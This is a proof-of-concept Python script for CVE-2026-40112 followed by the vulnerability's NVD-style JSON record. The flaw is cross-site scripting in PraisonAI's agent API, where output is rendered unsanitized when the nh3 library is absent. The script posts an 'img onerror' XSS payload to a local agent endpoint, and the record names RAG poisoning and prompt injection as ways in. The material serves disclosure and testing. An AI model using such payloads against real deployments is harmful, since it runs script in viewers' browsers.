CVE-2026-40112

# PoC for CVE-2026-40112 # The goal is to inject a script via agent input that gets rendered unsanitized. import requests target_url = "http://localhost:8000/api/agent/chat" # Malicious payload to be injected via Agent input (e.g., RAG or Prompt) # Since nh3 is missing, this script tag will not be sanitized. xss_payload = "<img src=x onerror=alert('CVE-2026-40112')>" # Prepare the data payload data = { "prompt": xss_payload, "agent_options": {} } try: response = requests.post(target_url, json=data) if response.status_code == 200: print("[+] Payload sent successfully.") print("[+] Check the response or the agent's output page for the alert popup.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] Error: {e}")

{"cve": {"id": "CVE-2026-40112", "sourceIdentifier": "[email protected]", "published": "2026-04-09T22:16:34.707", "lastModified": "2026-04-17T19:36:56.910", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "PraisonAI is a multi-agent teams system. Prior to 4.5.128, the Flask API endpoint in src/praisonai/api.py renders agent output as HTML without effective sanitization. The _sanitize_html function relies on the nh3 library, which is not listed as a required or optional dependency in pyproject.toml. When nh3 is absent (the default installation), the sanitizer is a no-op that returns HTML unchanged. An attacker who can influence agent input (via RAG data poisoning, web scraping results, or prompt injection) can inject arbitrary JavaScript that executes in the browser of anyone viewing the API output. This vulnerability is fixed in 4.5.128."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:praison:praisonai:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.5.128", "matchCriteriaId": "56CDE5F5-B03C-4C3A-9A92-F61C9DFDA9B1"}]}]}], "references": [{"url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-cfg2-mxfj-j6pw", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-cfg2-mxfj-j6pw", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}